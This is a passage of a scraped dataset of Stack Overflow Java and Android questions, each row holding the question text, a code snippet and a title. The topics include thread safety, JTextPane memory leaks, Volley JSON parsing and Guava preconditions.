) SE Runtime Environment ( build 1.8.0_25-b17 ) I 'd rather not have to include any external libraries , if possible . Thank you .","DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance ( ) ; DocumentBuilder db = fact.newDocumentBuilder ( ) ; Document doc = db.newDocument ( ) ; Transformer transformer = TransformerFactory.newInstance ( ) .newTransformer ( ) ; transformer.setOutputProperty ( OutputKeys.METHOD , `` xml '' ) ; transformer.setOutputProperty ( OutputKeys.VERSION , `` 1.1 '' ) ; DOMSource source = new DOMSource ( doc ) ; StringWriter writer = new StringWriter ( ) ; StreamResult result = new StreamResult ( writer ) ; transformer.transform ( source , result ) ; System.out.println ( writer.toString ( ) ) ; //still produces a 1.0 XML document",Unable to write XML 1.1 documents in Java +Java,"I had an example from the book 'java concurrency pratique ' , who says that volatile and immutable holder object gives thread safety . But I do not understand the example given by the book . The code is as follows : I understand thatThe key word volatile assure that the filed cache is visible to all threads.The class OneValueCache is immutable . But we can change the reference of the variable cache.But I can not understand why the class VolatileCachedFactorizer is thread safe.For two threads ( Thread A and Thread B ) , if thread A and thread B arrive at factors == null at the same time , the two threads A and B will both try to create the OneValueCache . Then Thread A arrives at factors = factor ( i ) while threadB arrives at cache = new OneValueCache ( i , factors ) at the same time . Then the thread A will create a OneValueCache which overwrites the value created by threadB ( OneValueChange is immutable but the reference to the variable cache can be changed ) .It shows that the code is not thread safe.Could anyone tell me why this piece of code is considered to be thread safe and why I am wrong ?","public class VolatileCachedFactorizer extends GenericServlet implements Servlet { private volatile OneValueCache cache = new OneValueCache ( null , null ) ; public void service ( ServletRequest req , ServletResponse resp ) { BigInteger i = extractFromRequest ( req ) ; BigInteger [ ] factors = cache.getFactors ( i ) ; if ( factors == null ) { factors = factor ( i ) ; // -- -- -- -- -- > thread A cache = new OneValueCache ( i , factors ) ; // -- -- -- -- - > thread B } encodeIntoResponse ( resp , factors ) ; } } public class OneValueCache { private final BigInteger lastNum ; private final BigInteger [ ] lastFactors ; public OneValueCache ( BigInteger i , BigInteger [ ] lastFactors ) { this.lastNum = i ; this.lastFactors = lastFactors ; } public BigInteger [ ] getFactors ( BigInteger i ) { if ( lastNum == null || ! lastNum.equals ( i ) ) return null ; else return Arrays.copyOf ( lastFactors , lastFactors.length ) ; } }",volatile + immutable holder object = thread safe ? +Java,"I created Axis2 web service as a maven project ProjectB and packaged it as jar.I added this ProjectB jar as dependency to the another maven project which is ProjectA in pom.xml.jar file of my ProjectB added as dependency to ProjectA pom.xml.In web services jar which I added to another project does n't contain Webcontent folder . So , my concern would beHow to invoke my webservice which is inside jar in the ProjectA ? Do I need to add anything in my web.xml of ProjectA in order to find my webservice ? How can I access my webservice in the browser ( i.e . http : //localserver : port/ProjectA/Myservice ) . Is this the right way to access my webservice ? Do I need to again specify all axis2 dependent jars in projectApom.xml or Axis 2 servlets mappings in ProjectA web.xml ? I am struck on this for a day.Can someone please help me ?",< dependency > < groupId > axis2 < /groupId > < artifactId > Axis2WebService < /artifactId > < version > 0.1 < /version > < /dependency >,How to invoke a axis2 web service project added as jar dependency to another Maven project ? +Java,"I 'm working on a Java application with Swing-based GUI . The application uses JTextPane to output log messages as follows : 1 ) truncate existing text to keep total text size under the limit ; 2 ) append new text ; 3 ) scroll to the end ( actual logic is slightly different , but it 's irrelevant here ) .I was using Eclipse with JVM Monitor to determine reasonable text size limit and found significant memory leak . I tried to remove UndoableEditListeners from the underlying document and disable automatic caret position updates ( by changing the position explicitly with DefaultCaret.NEVER_UPDATE and JTextPane.setCaretPosition ( int ) ) , but without success . Finally , I decided to disable changing caret position completely , and this fixed the leak.I have two questions : Is there an issue with my code ? If yes , how can I change it to accomplish the task ? Is it a Swing/JVM bug ? If yes , how can I report it ? Details : Here is SSCCE : GUI with textPane and two buttons , for small and stress tests . FIX and FIXXX flags correspond to my attempts to fix memory leak.JVM was from official Oracle Java SE Development Kit 8u45 for Linux x64 . All tests were done with -Xmx100m limit.Both flags are false : Small testWorks as expected : Stress testGUI freezes at an intermediate point : Memory is leaking : At some point there is no memory left and I got the following error : Detailed memory statistics show very high counts for java.awt.event.InvocationEvent , sun.awt.EventQueueItem , and javax.swing.text.DefaultCaret $ 1 ( absent in the fixed version ) : Setting FIX = true did not improve the situation.Both flags are true : Small testNow shows that the caret position is not updated : Stress testWorks and has no indication of memory leak :","package memleak ; import java.awt . * ; import java.awt.event . * ; import javax.swing . * ; import javax.swing.event.UndoableEditListener ; import javax.swing.text . * ; class TestMain { private JTextPane textPane ; // try to fix memory leak private static final boolean FIX = false ; // disable caret updates completely private static final boolean FIXXX = false ; // number of strings to append private static final int ITER_SMALL = 20 ; private static final int ITER_HUGE = 1000000 ; // limit textPane content private static final int TEXT_SIZE_MAX = 100 ; TestMain ( ) { JFrame frame = new JFrame ( ) ; JPanel panel = new JPanel ( ) ; textPane = new JTextPane ( ) ; textPane.setEditable ( false ) ; if ( FIX ) { tryToFixMemory ( ) ; } // end if FIX JScrollPane scrollPane = new JScrollPane ( textPane ) ; scrollPane.setPreferredSize ( new Dimension ( 100 , 100 ) ) ; panel.add ( scrollPane ) ; JButton buttonSmall = new JButton ( `` small test '' ) ; buttonSmall.addActionListener ( new ButtonHandler ( ITER_SMALL ) ) ; panel.add ( buttonSmall ) ; JButton buttonStress = new JButton ( `` stress test '' ) ; buttonStress.addActionListener ( new ButtonHandler ( ITER_HUGE ) ) ; panel.add ( buttonStress ) ; frame.add ( panel ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.pack ( ) ; frame.setVisible ( true ) ; } // end constructor public static void main ( String [ ] args ) { @ SuppressWarnings ( `` unused '' ) TestMain testMain = new TestMain ( ) ; } // end main private void append ( String s ) { Document doc = textPane.getDocument ( ) ; try { int extraLength = doc.getLength ( ) + s.length ( ) - TEXT_SIZE_MAX ; if ( extraLength > 0 ) { doc.remove ( 0 , extraLength ) ; } // end if extraLength doc.insertString ( doc.getLength ( ) , s , null ) ; if ( FIX & & ! FIXXX ) { // MEMORY LEAK HERE textPane.setCaretPosition ( doc.getLength ( ) ) ; } // end if FIX } catch ( Exception e ) { e.printStackTrace ( ) ; System.exit ( 1 ) ; } // end try } // end method append private void tryToFixMemory ( ) { // disable caret updates Caret caret = textPane.getCaret ( ) ; if ( caret instanceof DefaultCaret ) { ( ( DefaultCaret ) caret ) .setUpdatePolicy ( DefaultCaret.NEVER_UPDATE ) ; } // end if DefaultCaret // remove registered UndoableEditListeners if any Document doc = textPane.getDocument ( ) ; if ( doc instanceof AbstractDocument ) { UndoableEditListener [ ] undoListeners = ( ( AbstractDocument ) doc ) .getUndoableEditListeners ( ) ; if ( undoListeners.length > 0 ) { for ( UndoableEditListener undoListener : undoListeners ) { doc.removeUndoableEditListener ( undoListener ) ; } // end for undoListener } // end if undoListeners } // end if AbstractDocument } // end method tryToFixMemory private class ButtonHandler implements ActionListener { private final int iter ; ButtonHandler ( int iter ) { this.iter = iter ; } // end constructor @ Override public void actionPerformed ( ActionEvent e ) { for ( int i = 0 ; i < iter ; i++ ) { append ( String.format ( `` % 10d\n '' , i ) ) ; } // end for i } // end method actionPerformed } // end class ButtonHandler } // end class TestMain Exception in thread `` AWT-EventQueue-0 '' java.lang.OutOfMemoryError : GC overhead limit exceeded at java.util.Formatter.parse ( Formatter.java:2560 ) at java.util.Formatter.format ( Formatter.java:2501 ) at java.util.Formatter.format ( Formatter.java:2455 ) at java.lang.String.format ( String.java:2928 ) at memleak.TestMain $ ButtonHandler.actionPerformed ( TestMain.java:117 ) at javax.swing.AbstractButton.fireActionPerformed ( AbstractButton.java:2022 ) at javax.swing.AbstractButton $ Handler.actionPerformed ( AbstractButton.java:2346 ) at javax.swing.DefaultButtonModel.fireActionPerformed ( DefaultButtonModel.java:402 ) at javax.swing.DefaultButtonModel.setPressed ( DefaultButtonModel.java:259 ) at javax.swing.plaf.basic.BasicButtonListener.mouseReleased ( BasicButtonListener.java:252 ) at java.awt.Component.processMouseEvent ( Component.java:6525 ) at javax.swing.JComponent.processMouseEvent ( JComponent.java:3324 ) at java.awt.Component.processEvent ( Component.java:6290 ) at java.awt.Container.processEvent ( Container.java:2234 ) at java.awt.Component.dispatchEventImpl ( Component.java:4881 ) at java.awt.Container.dispatchEventImpl ( Container.java:2292 ) at java.awt.Component.dispatchEvent ( Component.java:4703 ) at java.awt.LightweightDispatcher.retargetMouseEvent ( Container.java:4898 ) at java.awt.LightweightDispatcher.processMouseEvent ( Container.java:4533 ) at java.awt.LightweightDispatcher.dispatchEvent ( Container.java:4462 ) at java.awt.Container.dispatchEventImpl ( Container.java:2278 ) at java.awt.Window.dispatchEventImpl ( Window.java:2750 ) at java.awt.Component.dispatchEvent ( Component.java:4703 ) at java.awt.EventQueue.dispatchEventImpl ( EventQueue.java:758 ) at java.awt.EventQueue.access $ 500 ( EventQueue.java:97 ) at java.awt.EventQueue $ 3.run ( EventQueue.java:709 ) at java.awt.EventQueue $ 3.run ( EventQueue.java:703 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.security.ProtectionDomain $ 1.doIntersectionPrivilege ( ProtectionDomain.java:75 ) at java.security.ProtectionDomain $ 1.doIntersectionPrivilege ( ProtectionDomain.java:86 ) at java.awt.EventQueue $ 4.run ( EventQueue.java:731 ) at java.awt.EventQueue $ 4.run ( EventQueue.java:729 ) Exception in thread `` AWT-EventQueue-0 '' java.lang.OutOfMemoryError : GC overhead limit exceeded at javax.swing.text.GlyphPainter1.modelToView ( GlyphPainter1.java:147 ) at javax.swing.text.GlyphView.modelToView ( GlyphView.java:653 ) at javax.swing.text.CompositeView.modelToView ( CompositeView.java:265 ) at javax.swing.text.BoxView.modelToView ( BoxView.java:484 ) at javax.swing.text.ParagraphView $ Row.modelToView ( ParagraphView.java:900 ) at javax.swing.text.CompositeView.modelToView ( CompositeView.java:265 ) at javax.swing.text.BoxView.modelToView ( BoxView.java:484 ) at javax.swing.text.CompositeView.modelToView ( CompositeView.java:265 ) at javax.swing.text.BoxView.modelToView ( BoxView.java:484 ) at javax.swing.plaf.basic.BasicTextUI $ RootView.modelToView ( BasicTextUI.java:1509 ) at javax.swing.plaf.basic.BasicTextUI.modelToView ( BasicTextUI.java:1047 ) at javax.swing.text.DefaultCaret.repaintNewCaret ( DefaultCaret.java:1308 ) at javax.swing.text.DefaultCaret $ 1.run ( DefaultCaret.java:1287 ) at java.awt.event.InvocationEvent.dispatch ( InvocationEvent.java:311 ) at java.awt.EventQueue.dispatchEventImpl ( EventQueue.java:756 ) at java.awt.EventQueue.access $ 500 ( EventQueue.java:97 ) at java.awt.EventQueue $ 3.run ( EventQueue.java:709 ) at java.awt.EventQueue $ 3.run ( EventQueue.java:703 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.security.ProtectionDomain $ 1.doIntersectionPrivilege ( ProtectionDomain.java:75 ) at java.awt.EventQueue.dispatchEvent ( EventQueue.java:726 ) at java.awt.EventDispatchThread.pumpOneEventForFilters ( EventDispatchThread.java:201 ) at java.awt.EventDispatchThread.pumpEventsForFilter ( EventDispatchThread.java:116 ) at java.awt.EventDispatchThread.pumpEventsForHierarchy ( EventDispatchThread.java:105 ) at java.awt.EventDispatchThread.pumpEvents ( EventDispatchThread.java:101 ) at java.awt.EventDispatchThread.pumpEvents ( EventDispatchThread.java:93 ) at java.awt.EventDispatchThread.run ( EventDispatchThread.java:82 ) Exception in thread `` RMI TCP Connection ( idle ) '' java.lang.OutOfMemoryError : GC overhead limit exceeded at java.lang.Thread.getName ( Thread.java:1135 ) at sun.rmi.transport.tcp.TCPTransport $ ConnectionHandler.run ( TCPTransport.java:677 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:745 )",How to prevent memory leak in JTextPane.setCaretPosition ( int ) ? +Java,"The Javadoc for Preconditions from Google 's Guava library states that : Projects which use com.google.common should generally avoid the use of Objects.requireNonNull ( Object ) . Instead , use whichever of checkNotNull ( Object ) or Verify.verifyNotNull ( Object ) is appropriate to the situation . ( The same goes for the message-accepting overloads . ) What is the motivation behind this recommendation ? I ca n't find any in the Javadoc.I mean , they pretty much do the same thing , and in these cases it is typically better to use the standard API ( for example , the people behind Joda-Time now recommends people to use java.time , pretty much deprecating their own framework ) .As an example , these two rows of input validation do the same thing :","class PreconditionsExample { private String string ; public PreconditionsExample ( String string ) { this.string = Objects.requireNonNull ( string , `` string must not be null '' ) ; this.string = Preconditions.checkNotNull ( string , `` string must not be null '' ) ; } }",Why should Objects.requireNonNull ( ) not be used if com.google.common from Guava is used ? +Java,I have the following code where RADIUS is a static final float . Will the java compiler optimize the call square ( RADIUS ) ? What happens when this converted to dalvik code for android ? Will it remain optimized ?,"float square ( float val ) { return val*val ; } boolean isInCircle ( final float x , final float y ) { float squareDistance = square ( cx - x ) + square ( cy - y ) ; return squareDistance < square ( RADIUS ) ; }",Will java compiler optimize a method call on a final static variable ? And what happens when it becomes dalvik code ? +Java,"I want to package a piece of code that absolutely must run on Java 1.5 . There 's one part of the code where the program can be `` enhanced '' if the VM is an 1.6 VM.Basically it 's this method : What would be easiest way to have this compile on 1.5 and yet do the 1.6 method calls when on 1.6 ? In the past I 've done something similar by compiling a unique 1.6 class that I would package with my app and instantiate using a ClassLoader when on 1.6 ( because an 1.6 JVM is perfectly fine mixing 0x32 and 0x31 classes ) , but I think it 's a bit overkill ( and a bit painful because during the build process you have to build both 0x31 and 0x32 .class files ) .How should I go if I wanted to compile the above method on 1.5 ? Maybe using reflection but then how ( I 'm not familiar at all with reflection ) Note : if you 're curious , the above method comes from this article : http : //www.javaspecialists.eu/archive/Issue130.html ( but I do n't want to `` comment the three lines '' like in the article , I want this to compile and run on both 1.5 and 1.6 )","private long [ ] findDeadlockedThreads ( ) { // JDK 1.5 only supports the findMonitorDeadlockedThreads ( ) // method , so you need to comment out the following three lines if ( mbean.isSynchronizerUsageSupported ( ) ) return mbean.findDeadlockedThreads ( ) ; else return mbean.findMonitorDeadlockedThreads ( ) ; }",Java : easiest way to package both Java 1.5 and 1.6 code +Java,"I am developing a simple WYSIWYG RTF editor in Java and have a small issue . I need to be able to synchronize the style selection toggle buttons ( such as bold , italic , underlined ) to the users text selection . For example , if the current text selection is plain , the bold , italic and underlined toggle buttons are not selected , but when the user selects some text that is bold and underlined , the bold and underlined toggle buttons are selected . Now i am fairly sure that JTextPane.getInputAttributes ( ) gets me the selection attributes I want but there is an issue with listening for caret update events . The issue is that caret listener attached to the JTextPane seems to be called AFTER the input attribute change occurs . So the selection is always one step behind . That is , i must select the text twice before the toggle buttons are updated ! The important code here is : And : Thanks in advance !",textPane.addCaretListener ( new CaretListener ( ) { @ Override public void caretUpdate ( CaretEvent e ) { syncAttributesWithUI ( textPane.getInputAttributes ( ) ) ; } } ) ; private void syncAttributesWithUI ( AttributeSet attributes ) { boldButton.setSelected ( StyleConstants.isBold ( attributes ) ) ; italicButton.setSelected ( StyleConstants.isItalic ( attributes ) ) ; underlineButton.setSelected ( StyleConstants.isUnderline ( attributes ) ) ; },JTextPane Synchronize Style Selection UI Problem +Java,"Everything looks correct to me : Get results object , get series array , get object at index , and get data array.JSON feed : Logcat : The JSON response in the logcat represents log.d ( TAG , mJsonResponse.tostring ) Initializing mJsonResponse using Volley :","private void downloadAllData ( ) throws JSONException { queryApi ( ) ; JSONObject results = mJsonResponse.getJSONObject ( `` Results '' ) ; // NullPointerException here JSONArray seriesArray = results.getJSONArray ( `` series '' ) ; JSONObject DataSeries1 = seriesArray.getJSONObject ( 0 ) ; JSONArray DataArray1 = DataSeries.getJSONArray ( `` data '' ) ; JSONObject DataSeries2 = seriesArray.getJSONObject ( 1 ) ; JSONArray DataArray2 = DataSeries.getJSONArray ( `` data '' ) ; { `` status '' : '' REQUEST_SUCCEEDED '' , '' responseTime '' :36 , '' message '' : [ ] , '' Results '' : { `` series '' : [ { `` seriesID '' : '' 431432 '' , '' data '' : [ { `` year '' : '' 1977 '' , '' period '' : '' M12 '' , '' periodName '' : '' December '' , '' value '' : '' 160.7 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M11 '' , '' periodName '' : '' November '' , '' value '' : '' 161.3 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M10 '' , '' periodName '' : '' October '' , '' value '' : '' 162.2 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M09 '' , '' periodName '' : '' September '' , '' value '' : '' 162.5 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M08 '' , '' periodName '' : '' August '' , '' value '' : '' 163.4 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M07 '' , '' periodName '' : '' July '' , '' value '' : '' 164.0 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M06 '' , '' periodName '' : '' June '' , '' value '' : '' 164.6 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M05 '' , '' periodName '' : '' May '' , '' value '' : '' 165.8 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M04 '' , '' periodName '' : '' April '' , '' value '' : '' 166.7 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M03 '' , '' periodName '' : '' March '' , '' value '' : '' 167.9 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M02 '' , '' periodName '' : '' February '' , '' value '' : '' 169.1 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M01 '' , '' periodName '' : '' January '' , '' value '' : '' 170.6 '' , '' footnotes '' : [ { } ] } ] } , { `` seriesID '' : '' 321432 '' , '' data '' : [ { `` year '' : '' 1977 '' , '' period '' : '' M12 '' , '' periodName '' : '' December '' , '' value '' : '' 50.5 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M11 '' , '' periodName '' : '' November '' , '' value '' : '' 50.4 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M10 '' , '' periodName '' : '' October '' , '' value '' : '' 50.5 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M09 '' , '' periodName '' : '' September '' , '' value '' : '' 50.6 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M08 '' , '' periodName '' : '' August '' , '' value '' : '' 50.6 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M07 '' , '' periodName '' : '' July '' , '' value '' : '' 50.6 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M06 '' , '' periodName '' : '' June '' , '' value '' : '' 50.5 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M05 '' , '' periodName '' : '' May '' , '' value '' : '' 50.1 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M04 '' , '' periodName '' : '' April '' , '' value '' : '' 49.4 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M03 '' , '' periodName '' : '' March '' , '' value '' : '' 48.8 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M02 '' , '' periodName '' : '' February '' , '' value '' : '' 48.3 '' , '' footnotes '' : [ { } ] } , { `` year '' : '' 1977 '' , '' period '' : '' M01 '' , '' periodName '' : '' January '' , '' value '' : '' 47.6 '' , '' footnotes '' : [ { } ] } ] } ] } } 04-10 22:16:59.519 10910-10937/com.learn.kent.mojito E/AndroidRuntime﹕ FATAL EXCEPTION : IntentService [ DownloadService ] Process : com.learn.kent.mojito , PID : 10910 java.lang.NullPointerException at com.learn.kent.mojito.service.DownloadService.downloadAllData ( DownloadService.java:151 ) at com.learn.kent.mojito.service.DownloadService.onHandleIntent ( DownloadService.java:83 ) at android.app.IntentService $ ServiceHandler.handleMessage ( IntentService.java:65 ) at android.os.Handler.dispatchMessage ( Handler.java:102 ) at android.os.Looper.loop ( Looper.java:212 ) at android.os.HandlerThread.run ( HandlerThread.java:61 ) 04-10 22:16:59.659 10910-10910/com.learn.kent.mojito D/OpenGLRenderer﹕ Enabling debug mode 004-10 22:16:59.729 10910-10910/com.learn.kent.mojito I/ActivityManager﹕ Timeline : Activity_idle id : android.os.BinderProxy @ 42db38a8 time:5955845904-10 22:17:00.369 10910-10910/com.learn.kent.mojito D/DownloadService﹕ { `` Results '' : { `` series '' : [ { `` data '' : [ { `` value '' : '' 50.5 '' , '' year '' : '' 1977 '' , '' period '' : '' M12 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' December '' } , { `` value '' : '' 50.4 '' , '' year '' : '' 1977 '' , '' period '' : '' M11 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' November '' } , { `` value '' : '' 50.5 '' , '' year '' : '' 1977 '' , '' period '' : '' M10 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' October '' } , { `` value '' : '' 50.6 '' , '' year '' : '' 1977 '' , '' period '' : '' M09 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' September '' } , { `` value '' : '' 50.6 '' , '' year '' : '' 1977 '' , '' period '' : '' M08 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' August '' } , { `` value '' : '' 50.6 '' , '' year '' : '' 1977 '' , '' period '' : '' M07 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' July '' } , { `` value '' : '' 50.5 '' , '' year '' : '' 1977 '' , '' period '' : '' M06 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' June '' } , { `` value '' : '' 50.1 '' , '' year '' : '' 1977 '' , '' period '' : '' M05 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' May '' } , { `` value '' : '' 49.4 '' , '' year '' : '' 1977 '' , '' period '' : '' M04 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' April '' } , { `` value '' : '' 48.8 '' , '' year '' : '' 1977 '' , '' period '' : '' M03 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' March '' } , { `` value '' : '' 48.3 '' , '' year '' : '' 1977 '' , '' period '' : '' M02 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' February '' } , { `` value '' : '' 47.6 '' , '' year '' : '' 1977 '' , '' period '' : '' M01 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' January '' } ] , '' seriesID '' : '' 21432 '' } , { `` data '' : [ { `` value '' : '' 62.1 '' , '' year '' : '' 1977 '' , '' period '' : '' M12 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' December '' } , { `` value '' : '' 61.9 '' , '' year '' : '' 1977 '' , '' period '' : '' M11 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' November '' } , { `` value '' : '' 61.6 '' , '' year '' : '' 1977 '' , '' period '' : '' M10 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' October '' } , { `` value '' : '' 61.4 '' , '' year '' : '' 1977 '' , '' period '' : '' M09 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' September '' } , { `` value '' : '' 61.2 '' , '' year '' : '' 1977 '' , '' period '' : '' M08 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' August '' } , { `` value '' : '' 61.0 '' , '' year '' : '' 1977 '' , '' period '' : '' M07 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' July '' } , { `` value '' : '' 60.7 '' , '' year '' : '' 1977 '' , '' period '' : '' M06 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' June '' } , { `` value '' : '' 60.3 '' , '' year '' : '' 1977 '' , '' period '' : '' M05 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' May '' } , { `` value '' : '' 60.0 '' , '' year '' : '' 1977 '' , '' period '' : '' M04 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' April '' } , { `` value '' : '' 59.5 '' , '' year '' : '' 1977 '' , '' period '' : '' M03 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' March '' } , { `` value '' : '' 59.1 '' , '' year '' : '' 1977 '' , '' period '' : '' M02 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' February '' } , { `` value '' : '' 58.5 '' , '' year '' : '' 1977 '' , '' period '' : '' M01 '' , '' footnotes '' : [ { } ] , '' periodName '' : '' January '' } ] , '' seriesID '' : '' 431432 '' } ] } , '' message '' : [ ] , '' status '' : '' REQUEST_SUCCEEDED '' , '' responseTime '' :44 } 04-10 22:17:01.489 10910-10937/com.learn.kent.mojito I/Process﹕ Sending signal . PID : 10910 SIG : 9 private void queryApi ( ) throws JSONException { try { jsonObjectQuery.put ( `` seriesid '' , seriesid ) ; jsonObjectQuery.put ( `` startyear '' , `` '' + startYear ) ; jsonObjectQuery.put ( `` endyear '' , `` '' + endYear ) ; } catch ( JSONException e ) { e.printStackTrace ( ) ; } JsonObjectRequest jsonObjRequest = new JsonObjectRequest ( Request.Method.POST , url , jsonObjectQuery , new Response.Listener < JSONObject > ( ) { @ Override public void onResponse ( JSONObject response ) { mJsonResponse = response ; < -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Log.d ( TAG , mJsonResponse.toString ( ) ) ; } } , new Response.ErrorListener ( ) { @ Override public void onErrorResponse ( VolleyError error ) { } } ) { @ Override public Map < String , String > getHeaders ( ) throws AuthFailureError { HashMap < String , String > headers = new HashMap < String , String > ( ) ; headers.put ( `` Content-Type '' , `` application/json ; charset=utf-8 '' ) ; return headers ; } } ; queue.add ( jsonObjRequest ) ; }",Getting a NullPointerException while parsing JSON +Java,"I have the following method invocation , in which I am passing a lambda expression . Is a class being instantiated implicitly here ? Method signature : EditSome of you suggested me to refactor the code , but the same question arises . Is a class ( I am not referring to class Student ) being instantiated on the right side of the assignment ?","printStudents ( roster , ( Student s ) - > s.getGender ( ) == Student.Sex.MALE & & s.getAge ( ) > = 18 & & s.getAge ( ) < = 25 ) ; printStudents ( List < Student > roster , CheckStudent checkstudet ) interface CheckStudent { boolean test ( Student s ) ; } CheckStudent checkStudent = ( Student s ) - > s.getGender ( ) == Student.Sex.MALE & & s.getAge ( ) > = 18 & & s.getAge ( ) < = 25 ;",Is a class being instantiated in a lambda expression ? +Java,I know there is a difference due to research but I can only find similarities between them ... I was hoping if someone would clarify the difference and if you can an example for each would really help . Java program please also would this program count as encapsulation or information hiding or even both,class DogsinHouse { private int dogs ; public int getdog ( ) { return dogs ; } public void setdog ( int amountOfDogsNow ) { dogs = amountOfDogsNow ; } },What is the difference between information hiding and encapsulation ? +Java,"I currently have a text file as follows : The file when read into java should be displayed as 3x^5 + 6x^9 . The second line would be read as 4x^4 + 6x^7 + 2 . The can not get my program to display this as I dont know how to convert these numbers into that form . I currently get just the numbers with spaces between them when i run the program . Here is what I have attempted : I want to first display these digits as polynomials , then I eventually want to perform operations with them . Can anyone help me ?","3 5 6 9 3 4 6 7 23 5 7 2 5 3 import java.io.File ; import java.io.FileNotFoundException ; import java.util.Scanner ; import javax.swing.JOptionPane ; public class Driver { public static void main ( String [ ] args ) { try { @ SuppressWarnings ( `` resource '' ) Scanner myfile = new Scanner ( new File ( `` poly.dat '' ) ) ; Polynomial [ ] mypolynomial ; mypolynomial = new Polynomial [ 10 ] ; int index = 0 ; if ( myfile.hasNext ( ) == true ) { //ignore this part myfile.nextLine ( ) ; } else { System.out.println ( `` Error : File is empty '' ) ; return ; } while ( myfile.hasNextLine ( ) ) { mypolynomial [ index ] = new Polynomial ( myfile.nextLine ( ) ) ; index++ ; } String menu = `` Please choose a Polynomial \n '' ; for ( int i = 0 ; i < index ; i++ ) { menu = menu + i + `` `` + mypolynomial [ i ] .getNumber ( ) + `` \n '' ; } String choicemenu = `` What do you want to do ? \n `` + `` A - Display a Polynomial \n `` + `` B - Add two Polynomial \n `` + `` C - Subtract two Polynoimal \n `` + `` D - Multiply two Polynomial \n `` ; String action = JOptionPane.showInputDialog ( choicemenu ) ; if ( action.equals ( `` A '' ) ) { int choice = Integer.parseInt ( JOptionPane.showInputDialog ( menu ) ) ; JOptionPane.showMessageDialog ( null , mypolynomial [ choice ] ) ; } } catch ( FileNotFoundException e ) { System.out.println ( `` OOOPS - something wrong - maybe the file name is wrong '' ) ; } } } public class Polynomial { //Testing the programString poly ; public Polynomial ( String p ) { poly = p ; } public String getNumber ( ) { return poly ; } public void setNumber ( String p ) { poly=p ; } public String toString ( ) { String result = `` The Polynomial is `` + poly ; return result ; } }",Reading a text file and converting them into polynomials +Java,"For a BottomNavigationView 's last tab , I want the content to be below status bar and make the status bar completely transparent . This works as expected but the BottomNavigationView jumps up leaving a blank space in the bottom when the last tab is selected . There were similar topics in SO that said to set fitWindowSystems to false . I tried it , but not helping . Any help is appreciated.ExplorerFragment.javafragment_explorer.xmlactivity_mail.xml","public class ExplorerFragment extends Fragment { public ExplorerFragment ( ) { } @ Override public void onCreate ( @ Nullable Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; if ( Build.VERSION.SDK_INT > = Build.VERSION_CODES.M ) { Window window = getActivity ( ) .getWindow ( ) ; window.getDecorView ( ) .setSystemUiVisibility ( View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_IMMERSIVE ) ; window.setStatusBarColor ( ContextCompat.getColor ( getContext ( ) , android.R.color.transparent ) ) ; } } @ Override public void onDestroy ( ) { super.onDestroy ( ) ; if ( Build.VERSION.SDK_INT > = Build.VERSION_CODES.M ) { View decor = getActivity ( 